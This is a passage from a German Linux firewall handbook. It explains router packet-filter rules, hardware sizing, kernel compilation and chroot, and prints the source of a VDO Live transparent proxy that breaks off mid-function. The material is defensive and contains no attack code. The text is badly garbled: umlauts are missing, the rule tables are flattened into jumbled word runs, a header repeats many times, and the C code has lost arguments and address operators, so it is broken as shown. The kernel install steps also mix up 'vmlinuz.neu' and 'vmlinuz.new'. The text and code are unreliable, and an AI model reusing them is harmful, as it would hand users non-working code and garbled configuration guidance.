STD1 aus bel. bel. bel. bel. bel. bel. verbieten STD2 ein bel. bel. bel. bel. bel. bel. verbieten Regel-Erluterungen q SPOOF: Pakete, die angeblich von internen IP-Adressen stammen, d.h. geflschte Pakete die mit hoher Wahrscheinlichkeit von einem Angreifer stammen oder deren Ursache in einer Fehlkonfiguration liegt, werden blockiert. q TEL1 und TEL2: Ausgehende TELNET Verbindungen werden durch diese Regeln erlaubt. q FTP1 und FTP2: Ausgehende Verbindungen zu FTP-Servern, die fr interne Clients zur Kommunikation mit diesen Servern im direkten Modus vonnten sind, werden hierdurch erlaubt. q FTP3 und FTP4: Es werden fr den Datenkanal von FTP im passiven Modus Verbindungen von internen Clients zu externen FTP Servern zugelassen. Durch diese Regeln werden allerdings auch smtliche Verbindungen von internen TCP Ports >1023 zu externen TCP Ports >1023 erlaubt. q FTP5 und FTP6: Durch diese Regeln wird normalen internen FTP-Clients gestattet einen FTP-Kommandokanal zum FTP-Proxy-Server auf dem Bastion-Host zu erffnen. Da FTP1 Und FTP2 als Quell- bzw. Zieladresse beliebig erfassen, also auch Bastion-Host, so scheinen FTP5 und FTP6, wenn FTP1 und FTP2 in der Liste frher erscheinen, eher berflssig, sie vereinfachen jedoch das Werk. Desweiteren ist es durch ihren Einsatz mglich, die Regeln FTP1 und FTP2 zu ndern, ohne fr Clients im normalen Modus den Zugang zum Proxy-Server zu behindern. q FTP7, FTP8 und FTP9: Diese Regeln lassen FTP-Datenverbindungen vom Proxy-Server auf dem Bastion-Host zu internen Clients, die nicht im passiven Modus arbeiten, zu. Angreifer die Zugang zum Bastion-Host erlangt haben werden durch FTP7 daran gehindert interne X11-Server ber die durch FTP8 und FTP9 geffnete Lcke anzugreifen. Sollten Sie auf TCP-Ports >1023 andere interne Server betreiben ist es sinnvoll dafr hnliche Regeln einzufgen. Entsprechend Regel FTP7 alle Verbindungen aufzufhren, die verboten werden sollen wird im allgemeinen nicht mglich sein, da z.B. nach der Einrichtung des Paketfilters Dienste hinzugefgt werden oder bei der Einrichtung nicht alle bekannt sind, jedoch sollte man es nicht unterlassen zur Untersttzung von FTP-Clients im normalen Modus dies fr so viele Verbindungen wie mglich (bekannt) zu tun. q SMTP1 und SMTP2: Ausgehende Post von internen Rechnern zum Bastion-Host wird durch diese Regeln zugelassen. q SMTP3 und SMTP4: Eingehende Post vom Bastion-Host zum internen Mail-Server wird durch diese Regeln zugelassen. q NNTP1 und NNTP2: Ausgehende Usenet-News von Ihrem News-Server zum News-Server Ihres Service-Providers werden durch diese Regeln zugelassen. q HTTP1 und HTTP2: Interne HTTP Client-Verbindungen zum HTTP-Proxy-Server auf dem Bastion-Host werden durch diese Regeln zugelassen. q DNS1: DNS-Anfragen ber UDP und Antworten der internen DNS-Server zum DNS-Server auf dem Bastion-Host werden hierdurch erlaubt. q DNS2: DNS-Anfragen ber UDP und Antworten des DNS-Servers auf dem Bastion-Host werden hierdurch erlaubt. q DNS3 und DNS4: DNS-Anfragen ber TCP vom DNS-Server auf dem Bastion-Host zum internen DNS-Server werden durch diese Regeln zugelassen, ebenso alle Antworten auf solche Fragen. Desweiteren werden Zonen-Transfers mit dem DNS-Server auf dem Bastion-Host als sekundrem Server und dem internen DNS-Server als primrem Server erlaubt. q DNS5 und DNS6: DNS-Anfragen ber TCP vom internen DNS-Server zu DNS-Servern auf dem Bastion-Host werden durch diese Regeln zugelassen, ebenso alle Antworten auf solche Fragen. Desweiteren werden Zonen-Transfers mit dem DNS-Server auf dem Bastion-Host als primrem Server und dem internen DNS-Server als sekundrem Server erlaubt. q STD1 und STD2: Diese Regeln blockieren alle Pakete, sofern sie nicht in einer der vorhergehenden Regeln
erlaubt wurden.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
NNTP4 aus HTTP1 HTTP2 HTTP3 HTTP4 DNS1 DNS2 DNS3 DNS4 DNS5 DNS6 DNS7 DNS8 aus ein ein aus aus ein ein aus aus ein ein aus
Server Bastion bel. bel. Bastion Bastion bel. bel. Bastion Bastion bel. bel. Bastion
NNTP bel. Bastion Bastion bel. bel. Bastion Bastion bel. bel. Bastion Bastion bel.
TCP TCP TCP TCP TCP UDP UDP UDP UDP TCP TCP TCP TCP
ja bel. ja bel. ja
zulassen zulassen zulassen zulassen bel. zulassen ja zulassen bel. zulassen ja zulassen
STD1 aus bel. bel. bel. bel. bel. bel. verbieten STD2 ein bel. bel. bel. bel. bel. bel. verbieten Regel-Erluterungen q SPF1 und SPF2: Pakete, die angeblich von internen IP-Adressen stammen, d.h. geflschte Pakete die mit hoher Wahrscheinlichkeit von einem Angreifer stammen oder deren Ursache in einer Fehlkonfiguration liegt, werden blockiert. (spoofig) SPF1 ist analog der Regel SPOOF fr den inneren Router, wohingegen es die Regel SPF2 ausschlielich fr den ueren Router gibt. q TELNET1 und TELNET2: Ausgehende TELNET-Verbindungen werden durch diese Regeln erlaubt. Sie sind den gleichnamigen Regeln fr den inneren Router analog. Dies hat fr alle Regeln die nur interne und externe Rechner betreffen Gltigkeit, fr Rechner im Grenznetz jedoch nicht. q FTP1, FTP2, FTP3 und FTP4: Ausgehende FTP-Verbindungen im passiven Modus werden durch diese Regeln zugelassen. Sie sind den gleichnamigen Regeln fr den inneren Router analog. q FTP5 und FTP6: Diese Regeln erlauben das ffnen eines FTP Kommando-Kanals zu FTP-Servern im Internet durch den FTP-Proxy-Server auf dem Bastion-Host. Im Gegensatz zu den identischen Regeln fr den inneren Router sind diese auch dann nicht redundant, wenn die Regeln FTP1 und FTP2 in der Liste weiter oben stehen, da Bastion-Host als Quelle oder Ziel lediglich von den Regeln FTP5 und FTP6 abgedeckt wird, nicht aber von FTP1 und FTP2 fr interne Rechner. q FTP7, FTP8 und FTP9: Diese Regeln lassen FTP-Datenverbindungen vom Proxy-Server auf dem Bastion-Host zu internen Clients, die nicht im passiven Modus arbeiten, zu. Angreifer die Zugang zum Bastion-Host erlangt haben, werden durch FTP7 daran gehindert, interne X11-Server ber die durch FTP8 und FTP9 geffnete Lcke anzugreifen. Sollten Sie auf TCP-Ports >1023 andere interne Server betreiben, ist es sinnvoll dafr hnliche Regeln einzufgen. Entsprechend Regel FTP7 alle Verbindungen aufzufhren, die verboten werden sollen, wird im allgemeinen nicht mglich sein, da z.B. nach der Einrichtung des Paketfilters Dienste hinzugefgt werden oder bei der Einrichtung nicht alle bekannt sind, jedoch sollte man es nicht unterlassen zur Untersttzung von FTP-Clients im normalen Modus fr so viele Verbindungen wie mglich zuzulassen. q FTP10, FTP11, FTP12, FTP13, FTP14 und FTP15: Diese Regeln lassen FTP-Verbindungen im passiven Modus von externen Clients zum Anonymous-FTP-Server auf dem Bastion-Host zu. Da im internen Netz keine FTP-Server, die auf externe Clients zugreifen knnen, vorhanden sind, existieren keine entsprechenden Regeln fr den inneren Router. Es sollten aber beim Auslesen des PORT Befehls alle Ports unterhalb 1024 explizit verboten werden, da ansonsten ein eingeschleustes trojanisches Pferd als FTP-Client einem Angreifer Zugriff auf alle Ports unterhalb 1024 erffnen knnte. Pferd
q q
SMTP1 und SMTP2: Ausgehende Post vom Bastion-Host ins Internet wird durch diese Regeln zugelassen. SMTP3 und SMTP4: Eingehende Post aus dem Internet zum Bastion-Host wird durch diese Regeln zugelassen. NNTP1 und NNTP2: Usenet-News zwischen Ihrem News-Server und dem News-Server Ihres Service-Providers werden in beiden Richtungen durch diese Regeln zugelassen. Sie sind den gleichnamigen Regeln fr den inneren Router analog. HTTP1 und HTTP2: Diese Regeln erlauben Verbindungen zu HTTP-Servern auf beliebigen Maschinen im Internet durch den HTTP-Proxy-Server auf dem Bastion-Host. Desweiteren werden allen TCP-Clients auf dem Bastion-Host, die Portnummern >1023 benutzen, Verbindungen zu allen Servern und allen Ports auf beliebigen Rechnern im Internet gestattet. Dadurch wird dem HTTP-Proxy-Server ermglicht zu HTTP-Servern, die nicht die Standard-Portnummer 80 benutzen, Verbindungen herzustellen. Trotz der Grozgigkeit dieser Regeln filtern sie jedoch, um nur ausgehende Verbindungen zuzulassen, bezglich der ACK-Bits. HTTP3 und HTTP4: Hierdurch werden externen Clients Verbindungen zum HTTP-Server auf dem Bastion-Host erlaubt. Da im internen Netz keine HTTP-Server, auf die externe Clients zugreifen knnen, vorhanden sind, existieren keine entsprechenden Regeln fr den inneren Router. DNS1: DNS-Anfragen ber UDP und Antworten vom DNS-Server auf dem Bastion-Host zu DNS-Servern im Internet werden hierdurch erlaubt. DNS2: DNS-Anfragen ber UDP und Antworten von DNS-Servern im Internet zum DNS-Servers auf dem Bastion-Host werden hierdurch erlaubt. DNS3 und DNS4: Um Anfragen an den DNS-Server auf dem Bastion-Host zu stellen und dessen Antworten zu empfangen gestatten diese Regeln externen DNS-Clients UDP-Verbindungen. DNS5 und DNS6: DNS-Anfragen ber TCP vom Bastion-Host zu DNS-Servern im Internet werden durch diese Regeln zugelassen, ebenso alle Antworten auf solche Fragen. Desweiteren werden Zonen-Transfers mit dem DNS-Server auf dem Bastion-Host als sekundrem Server und einem externen DNS-Server als primrem Server erlaubt. DNS7 und DNS8: DNS-Anfragen ber TCP aus dem Internet zum DNS-Servern auf dem Bastion-Host werden durch diese Regeln zugelassen, ebenso alle Antworten auf solche Fragen. Desweiteren werden Zonen-Transfers mit dem DNS-Server auf dem Bastion-Host als primrem Server und einem externen DNS-Server als sekundrem Server erlaubt. STD1 und STD2: Diese Regeln blockieren alle Pakete, sofern sie nicht in einer der vorhergehenden Regeln erlaubt wurden.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Service bel. bel. Service Server NNTP NNTP Server Service bel. Service bel. bel. Service Service bel. bel. Service
>1023 25 >1023 25 >1023 119 >1023 119 >1023 bel. 53 53 bel. 53 >1023 53 >1023 53
25 >1023 25 >1023 119 >1023 119 >1023 bel. >1023 53 53 53 bel. 53 >1023 53 >1023
HTTP1 aus HTTP2 ein DNS1 DNS2 DNS3 DNS4 DNS5 DNS6 DNS7 DNS8 aus ein ein aus aus ein ein aus
bel. TCP Service TCP bel. Service Service bel. bel. Service Service bel. UDP UDP UDP UDP TCP TCP TCP TCP
bel. zulassen ja zulassen zulassen zulassen zulassen zulassen bel. zulassen ja zulassen bel. zulassen ja zulassen
STD1 aus bel. bel. bel. bel. bel. bel. verbieten STD2 ein bel. bel. bel. bel. bel. bel. verbieten Regel-Erluterungen q SPOOF: Pakete, die angeblich von internen IP-Adressen stammen, d.h. geflschte Pakete die mit hoher Wahrscheinlichkeit von einem Angreifer stammen oder deren Ursache in einer Fehlkonfiguration liegt, werden blockiert. q TEL1 und TEL2: Ausgehende TELNET-Verbindungen werden durch diese Regeln erlaubt. q FTP1, FTP2, FTP3 und FTP4: Ausgehende FTP-Verbindungen im passiven Modus werden durch diese Regeln zugelassen, wobei die Regeln FTP1 und FTP2 den Kommandokanal und die Regeln FTP3 und FTP4 den Datenkanal ermglichen. Beliebige TCP-Verbindungen vom Service-Host zu jedem Rechner im Internet werden durch die beiden letztgenannten Regeln ebenfalls ermglicht, falls auf beiden Seiten Portnummern >1023 vorliegen. q SMTP1 und SMTP2: Ausgehende Post vom Service-Host ins Internet wird durch diese Regeln zugelassen. q SMTP3 und SMTP4: Eingehende Post aus dem Internet zum Service-Host wird durch diese Regeln zugelassen. q NNTP1 und NNTP2: Ausgehende Usenet-News von Ihrem News-Server zum News-Server Ihres Service-Providers werden durch diese Regeln zugelassen. q HTTP1 und HTTP2: Diese Regeln erlauben Verbindungen zu HTTP-Servern auf beliebigen Maschinen im Internet durch den HTTP-Proxy-Server auf dem Service-Host. Desweiteren werden allen TCP-Clients auf dem Service-Host, die Portnummern >1023 benutzen, Verbindungen zu allen Servern und allen Ports auf beliebigen Rechnern im Internet gestattet. Dadurch wird dem HTTP-Proxy-Server ermglicht zu HTTP-Servern, die nicht die Standard-Portnummer 80 benutzen, Verbindungen herzustellen. Trotz der Grozgigkeit dieser Regeln filtern sie jedoch, um nur ausgehende Verbindungen
zuzulassen, bezglich der ACK-Bits. Die Regeln FTP3 und FTP4 berlappen mit diesen, auch durch die Entfernung eines Paares ist es FTP- oder HTTP-Clients immer noch mglich auf die meisten Server zuzugreifen. DNS1: DNS-Anfragen ber UDP und Antworten der internen DNS-Server auf dem Service-Host zu DNS-Servern im Internet werden hierdurch erlaubt. DNS2: DNS-Anfragen ber UDP von DNS-Servern im Internet zum DNS-Server auf dem Service-Host, sowie Antworten auf diese werden hierdurch erlaubt. DNS3 und DNS4: Um Anfragen an den DNS-Server auf dem Service-Host zu stellen und dessen Antworten zu empfangen gestatten diese Regeln externen DNS-Clients UDP-Verbindungen. DNS5 und DNS6: DNS-Anfragen ber TCP vom Service-Host zu DNS-Servern im Internet werden durch diese Regeln zugelassen, ebenso alle Antworten auf solche Fragen. Desweiteren werden Zonen-Transfers mit dem DNS-Server auf dem Service-Host als sekundrem Server und einem externen DNS-Server als primrem Server erlaubt. DNS7 und DNS8: DNS-Anfragen ber TCP aus dem Internet zum DNS-Servern auf dem Service-Host werden durch diese Regeln zugelassen, ebenso alle Antworten auf solche Fragen. Desweiteren werden Zonen-Transfers mit dem DNS-Server auf dem Service-Host als primrem Server und einem externen DNS-Server als sekundrem Server erlaubt. STD1 und STD2: Diese Regeln blockieren alle Pakete, sofern sie nicht in einer der vorhergehenden Regeln erlaubt wurden.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Firewalls sind auf einige Minuten bis Stunden standardmig eingestellt. Diesen sollte man unbedingt auf wenige Sekunden heruntersetzen, auch wenn man in Gefahr luft, da Teilnehmer aus langsamen Netzwerken keine Verbindung mehr aufbauen knnen. Hier kommt es also entschieden auf die Intelligenz des TCP/IP Stacks an. FAST RETRANSMIT, SACK ....sind Begriffe die alle mit intelligentem Timing und Timeouts zu tun haben. Wer also sicher sein mchte, da keine der o.a. Probleme entstehen sollten, der sollte BSD UNIX, SOLARIS 2.6/2.7, LINUX 2.2 Kernel, OS/2 oder die SF Firewall unter LINUX einsetzen. LINUX 2.0 mit IPFWADM oder IPCHAINS ist hierfr vllig ungeeignet, ebenso wie alle Windows NT basierten Firewalls, da NT nicht ber intelligente Mechanismen, wie FAST RETRANSMIT, SACK ... verfgt. Fr den Einsatz im Intranet oder als Firewall-Router zur Anbindung eines Unternehmens spielen diese Betrachtungen keine Rolle. Das grere Problem bei ISPs ist die Speicherung von LOG-Dateien. Intelligente DoS Angriffe knnen bei einer 2 MBit Anbindung dazu fhren, da jede Sekunde die Daten von 500 neuen Verbindungen gespeichert werden mssen. Das sind pro Tag ca. 2 GByte an Daten. Es reicht also, die Firewall mit 100 GByte Festplattenplatz auszursten. Billige AT-BUS Festplatten mit je 25 GByte Kapazitt zum Preis von 4x600 DM reichen hier vllig aus, um die gesetzlichen Vorschriften erfllen zu knnen. Erfahrungsgem reicht ein AMD 350 MHz mit 128 MByte RAM und 100 GByte Festplatte, 2x 100 MBit Karten und LINUX Firewall vllig aus, um eine 2 MBit Anbindung zu berwachen. Der Gesamtpreis beluft sich ca. auf 5.000 DM. Etwas geringer sind die Anforderungen bei DIAL-IN Routern. Um 30 ISDN - Leitungen mit einer Firewall abzusichern, reicht ein P166 mit 64 MByte RAM , 2x10 MBit Karten und LINUX 2.0 vllig aus. Besonderes Tuning ist nicht erforderlich.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Dmomen brig bleibt, solle man nicht erlauben, da ein Angreifer mehr als 400-500 Handels verbrauchen kann. Wichtig ist auch, da ausreichend RAM zur Verfgung steht. Mehr als 64 MByte ist jedoch nicht notwendig, egal wie viele Clients auf den PROXY zugreifen. Sie sehen, da man, wenn man einen LINUX PROXY oder LINUX ISDN-Router aufbaut, fast alle Software (Kernel und Dmonen/Dienste) neu kompilieren mu.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
cd /usr/src/linux make mrproper make xconfig Wer von der Konsole den Kernel neu kompiliert, sollte xconfig durch menuconfig ersetzen. xconfig prsentiert eine lange Liste von mglichen Einstellungen, deren Funktionen durch die Hilfemens erlutert werden (zumindest alle wichtigen). Man sollte sich vergewissern, da folgende Funktionen aktiviert sind: q loadable module support q kernel daemon support q networking support q network firewalls q TCP/IP networking q Treiber fr den Netzwerkkarten-Typ q IP: forwarding/gatewaying q IP: syn cookies q IP: firewall packet logging q IP: masquerading q ICMP: masquerading q IP: accounting q IP: drop source routed frames
Danach mu die Konfiguration gespeichert werden. Um die Vorgnge verstehen zu knnen, mu man wissen, da das Konfigurationsmen nur einige Optionen in den Quellcodes gesetzt hat. (define....) Da der Kernel aber aus vielen unterschiedlichen Modulen aufgebaut ist, die auch untereinander gewisse Abhngigkeiten besitzen, mu vor der Kompilierung noch ein Durchlauf zur Auflsung eventueller Widersprche durchgefhrt werden. Danach erst knnen der Kernel und die Module kompiliert werden. Anschlieend erfolgt das Kopieren an die vorgesehenen Stellen im Dateisystem. Um ein solches Update auch Rckgngig machen zu knnen, werden mit mv Verzeichnisse und Kernel in Dateien mit dem Anhang .original umbenannt: make dep make clean make boot make modules cd /lib/modules mv Versionsnummer Versionsnummer.original cd /usr/src/linux make modules_install cd /boot mv vmlinuz.version vmlinuz.original cp /usr/src/linux/arch/i386/boot/zImage ./vmlinuz.neu ln -fs vmlinuz.new vmlinuz mv System.map.version System.map.original cp /usr/src/linux/System.map ./System.map.neu ln -fs System.map.neu System.map cd /etc Nun mu nur noch dem Boot - Manager mitgeteilt werden, da sich durch die Neukonfiguration des Kernels der Ort auf der Festplatte gendert hat. Der Bootmanager merkt sich stets einen Offset von Beginn der Festplatte ausgehend. Unter SCSI ist dies die lineare Sektoradresse, unter IDE sind dies der Zylinder und der Sektor. Leider lassen fast alle Bootmanger keine Zylinder > 1023 als Aufenthaltsort fr den neuen Kernel zu. Falls also etwas schiefgehen sollte, knnte es daran liegen, da die Partition zu gro ist. LINUX Partitionen sollten ohnehin nie grer als 2 GByte sein, da sonst der Bootvorgang von Zeit zu Zeit etwas zu lange dauern drfte. Das liegt an dem obligatorischen Festplatten-Check nach einem Hardwareproblem, bzw. es findet alle 20 Bootvorgnge statt, je nachdem, wie mit hdparam dieses festgelegt wurde.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
stattfinden. Wenn alles erfolgreich verlaufen ist, dann mte die Netzwerkkarte aktiviert sein. Im anderen Falle mu der Kernel mit dem alten Kernel neu gebootet werden. Hierzu drckt man, sobald lilo: erscheint, auf die Tab - Taste. Nun erscheinen die beiden Kernel (oder auch mehr) zur Auswahl. Durch eintippen von original und Bettigung der ENTER Taste wird der alte Kernel noch einmal gebootet. Die obigen Schritte der Konfiguration des Bootmanagers sind dann zu wiederholen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
22.5 DNS-Adressen
Die IP - Nummern der zustndigen DNS Server werden aus der Datei /etc/resolv.conf ausgelesen. Diese knnen auch zur Laufzeit verndert werden. Wichtig sind die Adressen in der Datei /etc/hosts. 127.0.0.1 10.0.0.1 10.0.0.2 localhost local domain arbeitsstation loopback name
Hier werden die Namen und Kurzbezeichnungen fr die Firewall selber und alle Arbeitsstationen eingegeben. Bei Nichtbeachtung dieser Empfehlung und falschen Eintrgen im DNS-Server wird eventuell unntig die die ISDN-Verbindung geffnet. Die Eintrge ermglichen es auch, spter bequem ablesen zu knnen, wer wieviel Pakete bertragen hat. (ipfwadm -Al) Nun kann das Skript /etc/rc.d/rc.firewall gestartet werden, um die Firewall scharf zu machen. Mail, www, telnet, ftp...Verbindungen in das Internet sollten nun transparent ber die Firewall hinweg funktionieren.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
man alle Libraries in die chroot() Umgebung kopieren mu. Aber keine Panik, ein einfaches Kopieren mit dem Befehl cp -p -r reicht aus, damit die Dateirechte auch original mit bertragen werden. Die Firma SUN hat seit einiger Zeit fast alle wichtigen Dmonen statisch kompiliert und mit einer chroot() Funktion ausgestattet. In sofern ist SUN allen anderen UNIXen, zumindest LINUX jedenfalls, weit voraus. Programme von Fremdherstellern jedenfalls sind noch nicht so weit. Das bedeutet, da auch beim Einsatz von Trusted Solaris dieselben Probleme auftreten, wie mit LINUX. Man kommt um eine berprfung der UNIX Dmonen bei keinem UNIX herum. Mit dem Kernel 2.2 hat sich LINUX aber sehr an BSD-UNIX angepat. Es lassen sich alle BSD-UNIX Dmonen von Open/Net/FreeBSD ganz einfach auf LINUX portieren. Angesichts der hohen Qualitat der BSD Dmonen sollte man als Systemadministrator im Bedarfsfall auf diese Dmomen zurckgreifen. Das chroot() Skript findet sich berall im Internet oder auf dem Server des DFN-CERT, der wirklich eine viel unterschtzte Resource ist... Windows NT 4.0 im brigen untersttzt im Prinzip aufgrund seiner POSIX - Kompatibilitt auch chroot(). Wenn Windows NT in der Version 6.0 dann irgendwann einmal alle Funktionen von UNIX beherrscht, und ein echtes Multiuser/Multitasking Betriebssystem sein wird, dann wird das Thema dort sicher top aktuell werden.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Wer sich intensiver mit dieser Materie auseinandersetzt, wird beim Lesen dieses Artikels ber sicheres Programmieren unter UNIX, siehe http://www.whitefang.com/sup/secure-faq.html, da viele Programme unter LINUX weit davon entfernt sind, sicher zu sein.... Fr C-Spezialisten hier nun der vollstndige Quellcode, der, bevor er auf einer Firewall eingesetzt werden kann, nach obigen Punkten abgesucht werden sollte. Wie schwer dieses ist, davon kann man sich an diesem sehr kleinen Beispiel selber berzeugen. Man bekommt vielleicht dann einen Eindruck davon, wieviel Mist oft Sicherheitsexperten erzhlen (Windows NT ist sicher !, u.s.w.) und wie schwierig es ist, den Quellcode von 1500 Programmierern (Microsoft) und mehrere millionen Zeilen Quellcode nach Fehlern zu durchleuchten. Sptestens nach dieser kleinen bung sollte auch der letzte Verfechter von Software ohne freien Quellcode davon berzeugt sein, da viele Augen mehr sehen, als wenige, und da es immer besser ist, nach dem KISS (Keep It Small and Simple) Prinzip die Software auszuwhlen: /* * vdoproxy.c * * AUTHOR : Eric Dumazet [email protected] * DATE : 19961015 * This is a VDO live proxy for LINUX (with TRANSPARENT PROXY enabled) * Usage : * First you must insure that connections for port 7000 are redirected * ipfwadm -I -a acc -P tcp -S yournet/24 -D any/0 7000 -r 7000 * Then, launch vdoproxy (no arguments) */ #include <stdio.h> #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <syslog.h> #include <string.h> #include <stdlib.h> #include <ctype.h> #include <unistd.h> #define VDO_TCP_PORT 7000 int listen_port = 7000 ; int dflg ; /* debug flag */ int lflg ; /* log flag */ int dest_port = 7000 ; struct sockaddr_in dest_addr; int trace_fd = 1 ; void hexdump_err(p, len) const char *p ; int len ; { char _aux_bb[128] , c ;
int i , n ; int dep = 0 ; while (len > 0) { sprintf(_aux_bb, "%3X: ", dep) ; dep += 16 ; i = 5 ; for (n = 0 ; n < 16 ; n++) { if (n < len) sprintf(&_aux_bb[i], "%02X ", p[n]&255) ; else strcpy(&_aux_bb[i], " ") ; i+=3 ; } for (n = 0 ; n < 16 ; n++) { if (n < len) { c = p[n] ; _aux_bb[i] = (' ' <= c && c < '\177') ? c : '?' ; } else _aux_bb[i] = ' ' ; i++ ; } _aux_bb[i++] = '\n' ; write(trace_fd, _aux_bb, i) ; p += 16 , len -= 16 ; } } /* * Basic functions : allocates a socket, and does a connect to the server, * on port 7000 */ int serverconnect(struct sockaddr *nm) { int fd ; fd = socket(AF_INET, SOCK_STREAM, 0) ; if (fd == -1) { if (lflg) fprintf(stderr, "couldnt allocate socket\n") ; return -1 ; } dest_addr.sin_port = htons(VDO_TCP_PORT); dest_addr.sin_family = AF_INET ; dest_addr.sin_addr.s_addr = ((struct sockaddr_in *)nm)->sin_addr.s_addr ; if ( connect(fd, (struct sockaddr *)_addr, sizeof(dest_addr)) < 0 ) { if (lflg) fprintf(stderr, "couldnt connect to server : %s\n", strerror(errno)) ; close(fd) ; return -1 ; } return fd ; } /*
* Open a socket in order to receive UDP datagrams */ int alloue_server_udp(int *sockudp, int *server_udp_port) { struct sockaddr_in name ; int len ; int res ; *sockudp = socket(AF_INET, SOCK_DGRAM, 0) ; if (*sockudp == -1) return -1 ; memset(, 0, sizeof(name)) ; name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; /* name.sin_port = 0 ;*/ res = bind(*sockudp, (struct sockaddr *), sizeof(name)) ; if (res == -1) { perror("bind") ; close(*sockudp) ; return -1 ; } if (dflg) fprintf(stderr, "Avant getsockname port=%d\n", ntohs(name.sin_port)) ; len = sizeof(name); getsockname(*sockudp, (struct sockaddr *) , ) ; *server_udp_port = ntohs(name.sin_port) ; if (dflg) fprintf(stderr, "port %d allocated\n", *server_udp_port) ; return 0 ; } /* * Each connection is handled by a separate process. */ void do_child(int newfd) { struct sockaddr name, namepeer ; struct sockaddr_in where ; struct sockaddr_in outudp ; struct sockaddr_in from; /* Sending host address */ fd_set rfd ; int already_bind = 0 ; char buffer[4096] ; char zone[64] ; int pos = 0 ; int namelen , fromlen, i ; int fd_to_proxy ; int maxfd ; int lu , res ; int sockudp , sockcl ; int client_udp_port, server_udp_port ; namelen = sizeof(namepeer) ; i = getpeername(newfd, , ) ;
/* This hack, is the TRANSPARENT PROXY magic : * We want to know wich destination the client want to connect */ namelen = sizeof(name) ; i = getsockname(newfd, , ) ; if (lflg || dflg) { time_t tnow ; struct tm *tm ; time() ; tm = localtime() ; fprintf(stderr, "%02d:%02d:%02d %d.%d.%d.%d:%d -> %d.%d.%d.%d ", tm->tm_hour, tm->tm_min, tm->tm_sec, namepeer.sa_data[2] & 255, namepeer.sa_data[3] & 255, namepeer.sa_data[4] & 255, namepeer.sa_data[5] & 255, ntohs(((struct sockaddr_in *))->sin_port), name.sa_data[2] & 255, name.sa_data[3] & 255, name.sa_data[4] & 255, name.sa_data[5] & 255) ; } fd_to_proxy = serverconnect() ; if (fd_to_proxy == -1) exit(1) ; lu = read(newfd, buffer, sizeof(buffer)) ; if (dflg) { printf("From client : (%d)\n", lu) ; fflush(stdout) ; hexdump_err(buffer, lu) ; } /* * On extrait de la demande du client le port UDP qu'il desire employer. */ /* * Recherche "VDO Live" */ for (i = 0 ; i < lu ; i++) { if (memcmp(buffer + i, "VDO Live", 8) == 0) { i += 8 ; client_udp_port = ((buffer[i+2] & 255)<< 8) + (buffer[i+3] & 255) ; buffer[i+2] = server_udp_port >> 8 ; buffer[i+3] = server_udp_port ; break ;
} } alloue_server_udp(, _udp_port) ; /* on fait en sorte que les paquets que nous emettons aient comme adresse source */ /* l'adresse du serveur */ sockcl = socket(AF_INET, SOCK_DGRAM, 0) ;
where.sin_family = AF_INET ; where.sin_addr.s_addr = ((struct sockaddr_in *))->sin_addr.s_addr ; if (dflg) fprintf(stderr, "s_addr %x ", ntohl(where.sin_addr.s_addr)) ; where.sin_port = htons(client_udp_port) ; if (dflg) fprintf(stderr, "port udp du client : %d\n", client_udp_port) ; /* * Recherche 2eme "VDO Live" */ for ( ; i < lu ; i++) { if (memcmp(buffer + i, "VDO Live", 8) == 0) { pos = i + 10 ; break ; } } if (pos) { buffer[pos] = server_udp_port >> 8 ; buffer[pos+1] = server_udp_port ; if (lflg) fprintf(stderr, "%s\n", buffer + pos + 10) ; } write(fd_to_proxy, buffer, lu) ; if (dflg) { printf("To server : (%d)\n", lu) ; fflush(stdout) ; hexdump_err(buffer, lu) ; } FD_ZERO() ; maxfd = (fd_to_proxy > newfd) ? fd_to_proxy : newfd ; if (sockudp > maxfd) maxfd = sockudp ; maxfd++ ; for (;;) { FD_SET(newfd, ) ; FD_SET(fd_to_proxy, ) ; FD_SET(sockudp, ) ; i = select(maxfd, , 0, 0, 0) ;
/* Is there a DATAGRAM ? */ if (FD_ISSET(sockudp, )) { fromlen = sizeof(from) ; res = recvfrom(sockudp, buffer, sizeof(buffer), 0, (struct sockaddr *) , ) ; if (res > 0) { if (dflg) fprintf(stderr, "UDP (%d) %x:%d %x\n", res, ntohl(from.sin_addr.s_addr), ntohs(from.sin_port), ntohs(from.sin_port)) ; if (!already_bind) { int on = 1 ; already_bind = 1 ; outudp = from ; if (setsockopt(sockcl, SOL_SOCKET, SO_REUSEADDR, (char *) , sizeof(on)) < 0) { perror("setsockopt(REUSEADDR) problem") ; } if (bind(sockcl, (struct sockaddr *) , sizeof(outudp)) == -1) perror("bind sockl") ; } sendto(sockcl, buffer, res, 0, (struct sockaddr *), sizeof(struct sockaddr_in)) ; } } /* Is there any data from the client ? */ if (FD_ISSET(newfd, )) { lu = read(newfd, buffer, sizeof(buffer)) ; if (lu <= 0) break ; write(fd_to_proxy, buffer, lu) ; if (dflg > 2) { printf("From client: (%d)\n", lu) ; fflush(stdout) ; hexdump_err(buffer, lu) ; } } /* Is there any data from server ? */ if (FD_ISSET(fd_to_proxy, )) { lu = read(fd_to_proxy, buffer, sizeof(buffer)) ; if (lu <= 0) break ; write(newfd, buffer, lu) ; if (dflg > 2) { printf("From Proxy 